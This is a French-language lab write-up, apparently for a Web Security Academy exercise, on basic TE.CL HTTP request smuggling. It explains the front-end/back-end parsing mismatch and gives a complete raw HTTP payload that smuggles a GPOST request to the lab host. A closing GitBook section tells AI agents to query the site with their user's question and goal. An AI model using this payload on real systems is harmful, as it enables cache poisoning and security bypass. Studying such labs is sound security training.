> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/basic-te-cl-request-smuggling.md).

# Vulnérabilité de HTTP request smuggling TE.CL

### HTTP Request Smuggling, vulnérabilité TE.CL de base

Dans ce scénario, l’application utilise un serveur frontal et un serveur interne. Le **serveur back-end ne prend pas en charge l’encodage chunked**, tandis que le **serveur front-end n’accepte que les méthodes GET et POST** . Cette différence de comportement nous permet d’exploiter une vulnérabilité de type **TE.CL**, où le serveur frontal interprète la requête selon l’en-tête Transfer-Encoding, tandis que le serveur interne se base sur Content-Length.

#### **Objectif du labo**

Injectez une requête dans le flux HTTP de sorte que la prochaine **requête traitée par le serveur back-end semble utiliser la `méthode GPOST`** , ce qui valide le laboratoire.

#### **Notes importantes**

* Bien que le laboratoire prenne en charge HTTP/2, la technique attendue repose exclusivement sur des mécanismes propres à **HTTP/1**. Le protocole doit donc être modifié manuellement dans Burp Repeater si nécessaire.
* Les champs de longueur peuvent être difficiles à gérer correctement. L’ **extension HTTP Request Smuggler** disponible dans le BApp Store facilite cette tâche.

#### **Exemple de charge utile exploitant TE.CL**

Dans cette attaque, le serveur frontal interprète le message en mode chunked, tandis que le serveur back-end calcule la fin de la requête via Content-Length, ce qui permet d’insérer une seconde requête :

```http
POST / HTTP/1.1
Host: 0acf00f80484e31881442f77004300cd.web-security-academy.net
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

72
GPOST / HTTP/1.1
Host: 0acf00f80484e31881442f77004300cd.web-security-academy.net
Content-Length: 20

test=test
0


```

<figure><img src="/files/b6d98186d5ac2d6708f580e1f664dbea4eef215e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/basic-te-cl-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
